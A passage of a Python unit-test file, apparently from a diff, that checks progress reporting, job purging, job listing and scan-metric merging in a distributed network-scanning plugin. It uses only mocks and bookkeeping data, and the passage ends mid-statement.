self.assertEqual(progress_data["worker_addr"], "node-A") - self.assertEqual(progress_data["pass_nr"], 3) - self.assertEqual(progress_data["phase"], "service_probes") - self.assertEqual(progress_data["ports_scanned"], 100) - self.assertEqual(progress_data["ports_total"], 512) - self.assertIn(22, progress_data["open_ports_found"]) - self.assertIn(80, progress_data["open_ports_found"]) - # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% - self.assertEqual(progress_data["progress"], 40.0) - # Single thread — no threads field - self.assertNotIn("threads", progress_data) - - def test_publish_live_progress_multi_thread_phase(self): - """Phase is the earliest active phase; per-thread data is included.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - plugin._last_progress_publish = 0 - plugin.time.return_value = 100.0 - - # Thread 1: fully done - worker1 = MagicMock() - worker1.state = { - "ports_scanned": list(range(256)), - "open_ports": [22], - "completed_tests": ["fingerprint_completed", "service_info_completed", "web_tests_completed", "correlation_completed"], - "done": True, - } - worker1.initial_ports = list(range(1, 257)) - - # Thread 2: still on port scan (50 of 256 ports) - worker2 = MagicMock() - worker2.state = { - "ports_scanned": list(range(50)), - "open_ports": [], - "completed_tests": [], - "done": False, - } - worker2.initial_ports = list(range(257, 513)) - - plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} - plugin.chainstore_hget.return_value = {"job_pass": 1} - - Plugin._publish_live_progress(plugin) - - call_args = plugin.chainstore_hset.call_args - progress_data = call_args.kwargs["value"] - # Phase should be port_scan (earliest across threads), not done - self.assertEqual(progress_data["phase"], "port_scan") - # Stage-based: port_scan (idx 0) + sub-progress (306/512 * 20%) = ~12% - self.assertGreater(progress_data["progress"], 10) - self.assertLess(progress_data["progress"], 15) - # Per-thread data should be present (2 threads) - self.assertIn("threads", progress_data) - self.assertEqual(progress_data["threads"]["t1"]["phase"], "done") - self.assertEqual(progress_data["threads"]["t2"]["phase"], "port_scan") - self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) - self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) - - def test_clear_live_progress(self): - """_clear_live_progress deletes progress keys for all workers.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - Plugin._clear_live_progress(plugin, "job-1", ["worker-A", "worker-B"]) - - self.assertEqual(plugin.chainstore_hset.call_count, 2) - calls = plugin.chainstore_hset.call_args_list - keys_deleted = {c.kwargs["key"] for c in calls} - self.assertEqual(keys_deleted, {"job-1:worker-A", "job-1:worker-B"}) - for c in calls: - self.assertIsNone(c.kwargs["value"]) - - -class TestPhase14Purge(unittest.TestCase): - """Phase 14: Job Deletion & Purge.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _make_plugin(self): - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - return plugin - - def test_purge_finalized_collects_all_cids(self): - """Finalized purge collects archive + config + aggregated_report + worker report CIDs.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - # CStore stub for a finalized job - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - "job_config_cid": "cid-config", - } - plugin.chainstore_hget.return_value = job_specs - - # Archive contains nested CIDs - archive = { - "passes": [ - { - "aggregated_report_cid": "cid-agg-1", - "worker_reports": { - "worker-A": {"report_cid": "cid-wr-A"}, - "worker-B": {"report_cid": "cid-wr-B"}, - }, - }, - ], - } - plugin.r1fs.get_json.return_value = archive - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - - # Normalize returns the specs as-is - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Verify all 5 CIDs were deleted - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) - self.assertEqual(result["cids_deleted"], 5) - self.assertEqual(result["cids_total"], 5) - - def test_purge_finalized_no_pass_report_cids(self): - """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - # No pass_reports key — finalized stubs don't have them - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Only archive CID should be deleted (no pass_reports, no config, no workers) - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-archive"}) - - def test_purge_running_collects_all_cids(self): - """Stopped (was running) purge collects config + worker CIDs + pass report CIDs + nested CIDs.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "STOPPED", - "job_config_cid": "cid-config", - "workers": { - "node-A": {"finished": True, "canceled": True, "report_cid": "cid-wr-A"}, - }, - "pass_reports": [ - {"report_cid": "cid-pass-1"}, - ], - } - plugin.chainstore_hget.return_value = job_specs - - # Pass report contains nested CIDs - pass_report = { - "aggregated_report_cid": "cid-agg-1", - "worker_reports": { - "node-A": {"report_cid": "cid-pass-wr-A"}, - }, - } - plugin.r1fs.get_json.return_value = pass_report - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} - self.assertEqual(deleted_cids, {"cid-config", "cid-wr-A", "cid-pass-1", "cid-agg-1", "cid-pass-wr-A"}) - - def test_purge_r1fs_failure_keeps_cstore(self): - """Partial R1FS failure leaves CStore intact and returns 'partial' status.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - "job_config_cid": "cid-config", - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - - # First CID deletes ok, second raises - plugin.r1fs.delete_file.side_effect = [True, Exception("disk error")] - - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "partial") - self.assertEqual(result["cids_deleted"], 1) - self.assertEqual(result["cids_failed"], 1) - self.assertEqual(result["cids_total"], 2) - - # CStore should NOT be tombstoned - tombstone_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("value") is None - ] - self.assertEqual(len(tombstone_calls), 0) - - def test_purge_cleans_live_progress(self): - """Purge deletes live progress keys for the job from :live hset.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "STOPPED", - "workers": {"node-A": {"finished": True}}, - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.delete_file.return_value = True - - # Live hset has keys for this job and another - plugin.chainstore_hgetall.return_value = { - "job-1:node-A": {"progress": 100}, - "job-1:node-B": {"progress": 50}, - "job-2:node-C": {"progress": 30}, - } - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # Check that live progress keys for job-1 were deleted - live_delete_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance:live" and c.kwargs.get("value") is None - ] - deleted_keys = {c.kwargs["key"] for c in live_delete_calls} - self.assertEqual(deleted_keys, {"job-1:node-A", "job-1:node-B"}) - # job-2 key should NOT be touched - self.assertNotIn("job-2:node-C", deleted_keys) - - def test_purge_success_tombstones_cstore(self): - """After all CIDs deleted, CStore key is tombstoned (set to None).""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - - job_specs = { - "job_id": "job-1", - "job_status": "FINALIZED", - "job_cid": "cid-archive", - } - plugin.chainstore_hget.return_value = job_specs - plugin.r1fs.get_json.return_value = {"passes": []} - plugin.r1fs.delete_file.return_value = True - plugin.chainstore_hgetall.return_value = {} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - result = Plugin.purge_job(plugin, "job-1") - self.assertEqual(result["status"], "success") - - # CStore tombstone: hset(hkey=instance_id, key=job_id, value=None) - tombstone_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" - and c.kwargs.get("key") == "job-1" - and c.kwargs.get("value") is None - ] - self.assertEqual(len(tombstone_calls), 1) - - def test_stop_and_delete_delegates_to_purge(self): - """stop_and_delete_job marks job stopped then delegates to purge_job.""" - Plugin = self._get_plugin_class() - plugin = self._make_plugin() - plugin.scan_jobs = {} - - job_specs = { - "job_id": "job-1", - "job_status": "RUNNING", - "workers": {"node-A": {"finished": False}}, - } - plugin.chainstore_hget.return_value = job_specs - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - - # Mock purge_job to verify delegation - purge_result = {"status": "success", "job_id": "job-1", "cids_deleted": 3, "cids_total": 3} - plugin.purge_job = MagicMock(return_value=purge_result) - - result = Plugin.stop_and_delete_job(plugin, "job-1") - - # Verify job was marked stopped before purge - hset_calls = [ - c for c in plugin.chainstore_hset.call_args_list - if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("key") == "job-1" - ] - self.assertEqual(len(hset_calls), 1) - saved_specs = hset_calls[0].kwargs["value"] - self.assertEqual(saved_specs["job_status"], "STOPPED") - self.assertTrue(saved_specs["workers"]["node-A"]["finished"]) - self.assertTrue(saved_specs["workers"]["node-A"]["canceled"]) - - # Verify purge was called - plugin.purge_job.assert_called_once_with("job-1") - self.assertEqual(result, purge_result) - - -class TestPhase15Listing(unittest.TestCase): - """Phase 15: Listing Endpoint Optimization.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def test_list_finalized_returns_stub_fields(self): - """Finalized jobs return exact CStoreJobFinalized fields.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - finalized_stub = { - "job_id": "job-1", - "job_status": "FINALIZED", - "target": "10.0.0.1", - "task_name": "scan-1", - "risk_score": 75, - "run_mode": "SINGLEPASS", - "duration": 120.5, - "pass_count": 1, - "launcher": "0xLauncher", - "launcher_alias": "node1", - "worker_count": 2, - "start_port": 1, - "end_port": 1024, - "date_created": 1700000000.0, - "date_completed": 1700000120.0, - "job_cid": "QmArchive123", - "job_config_cid": "QmConfig456", - } - plugin.chainstore_hgetall.return_value = {"job-1": finalized_stub} - plugin._normalize_job_record = MagicMock(return_value=("job-1", finalized_stub)) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("job-1", result) - entry = result["job-1"] - - # All CStoreJobFinalized fields present - self.assertEqual(entry["job_id"], "job-1") - self.assertEqual(entry["job_status"], "FINALIZED") - self.assertEqual(entry["job_cid"], "QmArchive123") - self.assertEqual(entry["job_config_cid"], "QmConfig456") - self.assertEqual(entry["target"], "10.0.0.1") - self.assertEqual(entry["risk_score"], 75) - self.assertEqual(entry["duration"], 120.5) - self.assertEqual(entry["pass_count"], 1) - self.assertEqual(entry["worker_count"], 2) - - def test_list_running_stripped(self): - """Running jobs have listing fields but no heavy data.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - running_spec = { - "job_id": "job-2", - "job_status": "RUNNING", - "target": "10.0.0.2", - "task_name": "scan-2", - "risk_score": 0, - "run_mode": "CONTINUOUS_MONITORING", - "start_port": 1, - "end_port": 65535, - "date_created": 1700000000.0, - "launcher": "0xLauncher", - "launcher_alias": "node1", - "job_pass": 3, - "job_config_cid": "QmConfig789", - "workers": { - "addr-A": {"start_port": 1, "end_port": 32767, "finished": False, "report_cid": "QmBigReport1"}, - "addr-B": {"start_port": 32768, "end_port": 65535, "finished": False, "report_cid": "QmBigReport2"}, - }, - "timeline": [ - {"event": "created", "ts": 1700000000.0}, - {"event": "started", "ts": 1700000001.0}, - ], - "pass_reports": [ - {"pass_nr": 1, "report_cid": "QmPass1"}, - {"pass_nr": 2, "report_cid": "QmPass2"}, - ], - "redmesh_job_start_attestation": {"big": "blob"}, - } - plugin.chainstore_hgetall.return_value = {"job-2": running_spec} - plugin._normalize_job_record = MagicMock(return_value=("job-2", running_spec)) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("job-2", result) - entry = result["job-2"] - - # Listing essentials present - self.assertEqual(entry["job_id"], "job-2") - self.assertEqual(entry["job_status"], "RUNNING") - self.assertEqual(entry["target"], "10.0.0.2") - self.assertEqual(entry["task_name"], "scan-2") - self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") - self.assertEqual(entry["job_pass"], 3) - self.assertEqual(entry["worker_count"], 2) - self.assertEqual(entry["pass_count"], 2) - - # Heavy fields stripped - self.assertNotIn("workers", entry) - self.assertNotIn("timeline", entry) - self.assertNotIn("pass_reports", entry) - self.assertNotIn("redmesh_job_start_attestation", entry) - self.assertNotIn("job_config_cid", entry) - self.assertNotIn("report_cid", entry) - - -class TestPhase16ScanMetrics(unittest.TestCase): - """Phase 16: Scan Metrics Collection.""" - - def test_metrics_collector_empty_build(self): - """build() with zero data returns ScanMetrics with defaults, no crash.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - result = mc.build() - d = result.to_dict() - self.assertEqual(d.get("total_duration", 0), 0) - self.assertEqual(d.get("rate_limiting_detected", False), False) - self.assertEqual(d.get("blocking_detected", False), False) - # No crash, sparse output - self.assertNotIn("connection_outcomes", d) - self.assertNotIn("response_times", d) - - def test_metrics_collector_records_connections(self): - """After recording outcomes, connection_outcomes has correct counts.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(100) - mc.record_connection("connected", 0.05) - mc.record_connection("connected", 0.03) - mc.record_connection("timeout", 1.0) - mc.record_connection("refused", 0.01) - d = mc.build().to_dict() - outcomes = d["connection_outcomes"] - self.assertEqual(outcomes["connected"], 2) - self.assertEqual(outcomes["timeout"], 1) - self.assertEqual(outcomes["refused"], 1) - self.assertEqual(outcomes["total"], 4) - # Response times computed - rt = d["response_times"] - self.assertIn("mean", rt) - self.assertIn("p95", rt) - self.assertEqual(rt["count"], 4) - - def test_metrics_collector_records_probes(self): - """After recording probes, probe_breakdown has entries.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.record_probe("_service_info_http", "completed") - mc.record_probe("_service_info_ssh", "completed") - mc.record_probe("_web_test_xss", "skipped:no_http") - d = mc.build().to_dict() - self.assertEqual(d["probes_attempted"], 3) - self.assertEqual(d["probes_completed"], 2) - self.assertEqual(d["probes_skipped"], 1) - self.assertEqual(d["probe_breakdown"]["_service_info_http"], "completed") - self.assertEqual(d["probe_breakdown"]["_web_test_xss"], "skipped:no_http") - - def test_metrics_collector_phase_durations(self): - """start/end phases produce positive durations.""" - import time - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.phase_start("port_scan") - time.sleep(0.01) - mc.phase_end("port_scan") - d = mc.build().to_dict() - self.assertIn("phase_durations", d) - self.assertGreater(d["phase_durations"]["port_scan"], 0) - - def test_metrics_collector_findings(self): - """record_finding tracks severity distribution.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(10) - mc.record_finding("HIGH") - mc.record_finding("HIGH") - mc.record_finding("MEDIUM") - mc.record_finding("INFO") - d = mc.build().to_dict() - fd = d["finding_distribution"] - self.assertEqual(fd["HIGH"], 2) - self.assertEqual(fd["MEDIUM"], 1) - self.assertEqual(fd["INFO"], 1) - - def test_metrics_collector_coverage(self): - """Coverage tracks ports scanned vs in range.""" - from extensions.business.cybersec.red_mesh.pentest_worker import MetricsCollector - mc = MetricsCollector() - mc.start_scan(100) - for i in range(50): - mc.record_connection("connected" if i < 5 else "refused", 0.01) - # Simulate finding 5 open ports with banner confirmation - for i in range(5): - mc.record_open_port(8000 + i, protocol="http" if i < 3 else "ssh", banner_confirmed=(i < 3)) - d = mc.build().to_dict() - cov = d["coverage"] - self.assertEqual(cov["ports_in_range"], 100) - self.assertEqual(cov["ports_scanned"], 50) - self.assertEqual(cov["coverage_pct"], 50.0) - self.assertEqual(cov["open_ports_count"], 5) - # Open port details - self.assertEqual(len(d["open_port_details"]), 5) - self.assertEqual(d["open_port_details"][0]["port"], 8000) - self.assertEqual(d["open_port_details"][0]["protocol"], "http") - self.assertTrue(d["open_port_details"][0]["banner_confirmed"]) - self.assertFalse(d["open_port_details"][3]["banner_confirmed"]) - # Banner confirmation - self.assertEqual(d["banner_confirmation"]["confirmed"], 3) - self.assertEqual(d["banner_confirmation"]["guessed"], 2) - - def test_scan_metrics_model_roundtrip(self): - """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" - from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics - sm = ScanMetrics( - phase_durations={"port_scan": 10.5, "fingerprint": 3.2}, - total_duration=15.0, - connection_outcomes={"connected": 50, "timeout": 5, "total": 55}, - response_times={"min": 0.01, "max": 1.0, "mean": 0.1, "median": 0.08, "stddev": 0.05, "p95": 0.5, "p99": 0.9, "count": 55}, - rate_limiting_detected=True, - blocking_detected=False, - coverage={"ports_in_range": 1000, "ports_scanned": 1000, "ports_skipped": 0, "coverage_pct": 100.0}, - probes_attempted=5, - probes_completed=4, - probes_skipped=1, - probes_failed=0, - probe_breakdown={"_service_info_http": "completed"}, - finding_distribution={"HIGH": 3, "MEDIUM": 2}, - ) - d = sm.to_dict() - sm2 = ScanMetrics.from_dict(d) - self.assertEqual(sm2.to_dict(), d) - - def test_scan_metrics_strip_none(self): - """Empty/None fields stripped from serialization.""" - from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics - sm = ScanMetrics() - d = sm.to_dict() - self.assertNotIn("phase_durations", d) - self.assertNotIn("connection_outcomes", d) - self.assertNotIn("response_times", d) - self.assertNotIn("slow_ports", d) - self.assertNotIn("probe_breakdown", d) - - def test_merge_worker_metrics(self): - """_merge_worker_metrics sums outcomes, coverage, findings; maxes duration; ORs flags.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - m1 = { - "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, - "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0, "open_ports_count": 3}, - "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, - "service_distribution": {"http": 2, "ssh": 1}, - "probe_breakdown": {"_service_info_http": "completed", "_web_test_xss": "completed"}, - "phase_durations": {"port_scan": 30.0, "fingerprint": 10.0, "service_probes": 15.0}, - "response_times": {"min": 0.01, "max": 0.5, "mean": 0.05, "median": 0.04, "stddev": 0.03, "p95": 0.2, "p99": 0.4, "count": 500}, - "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, - "total_duration": 60.0, - "rate_limiting_detected": False, "blocking_detected": False, - "open_port_details": [ - {"port": 22, "protocol": "ssh", "banner_confirmed": True}, - {"port": 80, "protocol": "http", "banner_confirmed": True}, - {"port": 443, "protocol": "http", "banner_confirmed": False}, - ], - "banner_confirmation": {"confirmed": 2, "guessed": 1}, - } - m2 = { - "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, - "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0, "open_ports_count": 2}, - "finding_distribution": {"HIGH": 1, "LOW": 3}, - "service_distribution": {"http": 1, "mysql": 1}, - "probe_breakdown": {"_service_info_http": "completed", "_service_info_mysql": "completed", "_web_test_xss": "failed"}, - "phase_durations": {"port_scan": 45.0, "fingerprint": 8.0, "service_probes": 20.0}, - "response_times": {"min": 0.02, "max": 0.8, "mean": 0.08, "median": 0.06, "stddev": 0.05, "p95": 0.3, "p99": 0.7, "count": 400}, - "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, - "total_duration": 75.0, - "rate_limiting_detected": True, "blocking_detected": False, - "open_port_details": [ - {"port": 80, "protocol": "http", "banner_confirmed": True}, # duplicate port 80 - {"port": 3306, "protocol": "mysql", "banner_confirmed": True}, - ], - "banner_confirmation": {"confirmed": 2, "guessed": 0}, - } - merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) - # Sums - self.assertEqual(merged["connection_outcomes"]["connected"], 50) - self.assertEqual(merged["connection_outcomes"]["timeout"], 15) - self.assertEqual(merged["connection_outcomes"]["total"], 65) - self.assertEqual(merged["coverage"]["ports_in_range"], 1000) - self.assertEqual(merged["coverage"]["ports_scanned"], 900) - self.assertEqual(merged["coverage"]["ports_skipped"], 100) - self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) - self.assertEqual(merged["coverage"]["open_ports_count"], 5) - self.assertEqual(merged["finding_distribution"]["HIGH"], 3) - self.assertEqual(merged["finding_distribution"]["LOW"], 3) - self.assertEqual(merged["finding_distribution"]["MEDIUM"], 1) - self.assertEqual(merged["probes_attempted"], 6) - self.assertEqual(merged["probes_completed"], 5) - self.assertEqual(merged["probes_skipped"], 1) - # Service distribution summed - self.assertEqual(merged["service_distribution"]["http"], 3) - self.assertEqual(merged["service_distribution"]["ssh"], 1) - self.assertEqual(merged["service_distribution"]["mysql"], 1) - # Probe breakdown: union, worst status wins - self.assertEqual(merged["probe_breakdown"]["_service_info_http"], "completed") - self.assertEqual(merged["probe_breakdown"]["_service_info_mysql"], "completed") - self.assertEqual(merged["probe_breakdown"]["_web_test_xss"], "failed") # failed > completed - # Phase durations: max per phase (threads/nodes run in parallel) - self.assertEqual(merged["phase_durations"]["port_scan"], 45.0) - self.assertEqual(merged["phase_durations"]["fingerprint"], 10.0) - self.assertEqual(merged["phase_durations"]["service_probes"], 20.0) - # Response times: merged stats - rt = merged["response_times"] - self.assertEqual(rt["min"], 0.01) # global min - self.assertEqual(rt["max"], 0.8) # global max - self.assertEqual(rt["count"], 900) # total count - # Weighted mean: (0.05*500 + 0.08*400) / 900 ≈ 0.0633 - self.assertAlmostEqual(rt["mean"], 0.0633, places=3) - self.assertEqual(rt["p95"], 0.3) # max of per-thread p95 - self.assertEqual(rt["p99"], 0.7) # max of per-thread p99 - # Max duration - self.assertEqual(merged["total_duration"], 75.0) - # OR flags - self.assertTrue(merged["rate_limiting_detected"]) - self.assertFalse(merged["blocking_detected"]) - # Open port details: deduplicated by port, sorted - opd = merged["open_port_details"] - self.assertEqual(len(opd), 4) # 22, 80, 443, 3306 (80 deduplicated) - self.assertEqual(opd[0]["port"], 22) - self.assertEqual(opd[1]["port"], 80) - self.assertEqual(opd[2]["port"], 443) - self.assertEqual(opd[3]["port"], 3306) - # Banner confirmation: summed - self.assertEqual(merged["banner_confirmation"]["confirmed"], 4) - self.assertEqual(merged["banner_confirmation"]["guessed"], 1) - - - def test_close_job_merges_thread_metrics(self): - """16b: _close_job replaces generically-merged scan_metrics with properly summed metrics.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - - # Two mock workers with different scan_metrics - worker1 = MagicMock() - worker1.get_status.return_value = { - "open_ports": [80], "service_info": {}, "scan_metrics": { - "connection_outcomes": {"connected": 10, "timeout": 2, "total": 12}, - "total_duration": 30.0, - "probes_attempted": 2, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 0, - "rate_limiting_detected": False, "blocking_detected": False, - } - } - worker2 = MagicMock() - worker2.get_status.return_value = { - "open_ports": [443], "service_info": {}, "scan_metrics": { - "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, - "total_duration": 45.0, - "probes_attempted": 2, "probes_completed": 1, "probes_skipped": 1, "probes_failed": 0, - "rate_limiting_detected": True, "blocking_detected": False, - } - } - plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} - - # _get_aggregated_report with merge_objects_deep would do last-writer-wins on leaf ints - # Simulate that by returning worker2's metrics (wrong — should be summed) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, - "scan_metrics": { - "connection_outcomes": {"connected": 8, "timeout": 5, "total": 13}, - "total_duration": 45.0, - } - }) - # Use real static method for merge - plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics - - saved_reports = [] - def capture_add_json(data, show_logs=False): - saved_reports.append(data) - return "QmReport123" - plugin.r1fs.add_json.side_effect = capture_add_json - - job_specs = {"job_id": "job-1", "target": "10.0.0.1", "workers": {}} - plugin.chainstore_hget.return_value = job_specs - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) - plugin._redact_report = MagicMock(side_effect=lambda r: r) - - PentesterApi01Plugin._close_job(plugin, "job-1") - - # The report saved to R1FS should have properly merged metrics - self.assertEqual(len(saved_reports), 1) - sm = saved_reports[0].get("scan_metrics") - self.assertIsNotNone(sm) - # Connection outcomes should be summed, not last-writer-wins - self.assertEqual(sm["connection_outcomes"]["connected"], 18) - self.assertEqual(sm["connection_outcomes"]["timeout"], 7) - self.assertEqual(sm["connection_outcomes"]["total"], 25) - # Max duration - self.assertEqual(sm["total_duration"], 45.0) - # Probes summed - self.assertEqual(sm["probes_attempted"], 4) - self.assertEqual(sm["probes_completed"], 3) - # OR flags - self.assertTrue(sm["rate_limiting_detected"]) - - def test_finalize_pass_attaches_pass_metrics(self): - """16c: _maybe_finalize_pass merges node metrics into PassReport.scan_metrics.""" - TestPhase15Listing._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-launcher" - plugin.cfg_llm_agent_api_enabled = False - plugin.cfg_attestation_min_seconds_between_submits = 3600 - - # Two workers, each with a report_cid - workers = { - "node-A": {"finished": True, "report_cid": "cid-report-A"}, - "node-B": {"finished": True, "report_cid": "cid-report-B"}, - } - job_specs = { - "job_id": "job-1", - "job_status": "RUNNING", - "target": "10.0.0.1", - "run_mode": "SINGLEPASS", - "launcher": "node-launcher", - "workers": workers, - "job_pass": 1, - "pass_reports": [], - "timeline": [{"event": "created", "ts": 1700000000.0}], - } - plugin.chainstore_hgetall.return_value = {"job-1": job_specs} - plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) - plugin.time.return_value = 1700000120.0 - - # Node reports with different metrics - node_report_a = { - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "correlation_findings": [], "start_port": 1, "end_port": 32767, - "ports_scanned": 32767, - "scan_metrics": { - "connection_outcomes": {"connected": 5, "timeout": 1, "total": 6}, - "total_duration": 50.0, - "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, - "rate_limiting_detected": False, "blocking_detected": False, - } - } - node_report_b = { - "open_ports": [443], "service_info": {}, "web_tests_info": {}, - "correlation_findings": [], "start_port": 32768, "end_port": 65535, - "ports_scanned": 32768, - "scan_metrics": { - "connection_outcomes": {"connected": 3, "timeout": 4, "total": 7}, - "total_duration": 65.0, - "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 0, "probes_failed": 1, - "rate_limiting_detected": False, "blocking_detected": True, - } - } - - node_reports_by_addr = {"node-A": node_report_a, "node-B": node_report_b} - plugin._collect_node_reports = MagicMock(return_value=node_reports_by_addr) - # _get_aggregated_report would use merge_objects_deep (wrong for metrics) - # Return a dict with last-writer-wins metrics to simulate the bug - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, - "scan_metrics": node_report_b["scan_metrics"], # wrong — just node B's - }) - # Use real static method for merge - plugin._merge_worker_metrics = PentesterApi01Plugin._merge_worker_metrics - - # Capture what gets saved as pass report - saved_pass_reports = [] - def capture_add_json(data, show_logs=False): - saved_pass_reports.append(data) - return f"QmPassReport{len(saved_pass_reports)}" - plugin.r1fs.add_json.side_effect = capture_add_json - - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) - plugin._get_job_config = MagicMock(return_value={}) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._build_job_archive = MagicMock() - plugin._clear_live_progress = MagicMock() - plugin._emit_timeline_event = MagicMock() - plugin._get_timeline_date = MagicMock(return_value=1700000000.0) - plugin.Pd = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # Should have saved: aggregated_data (step 6) + pass_report (step 10) - self.assertGreaterEqual(len(saved_pass_reports), 2) - pass_report = 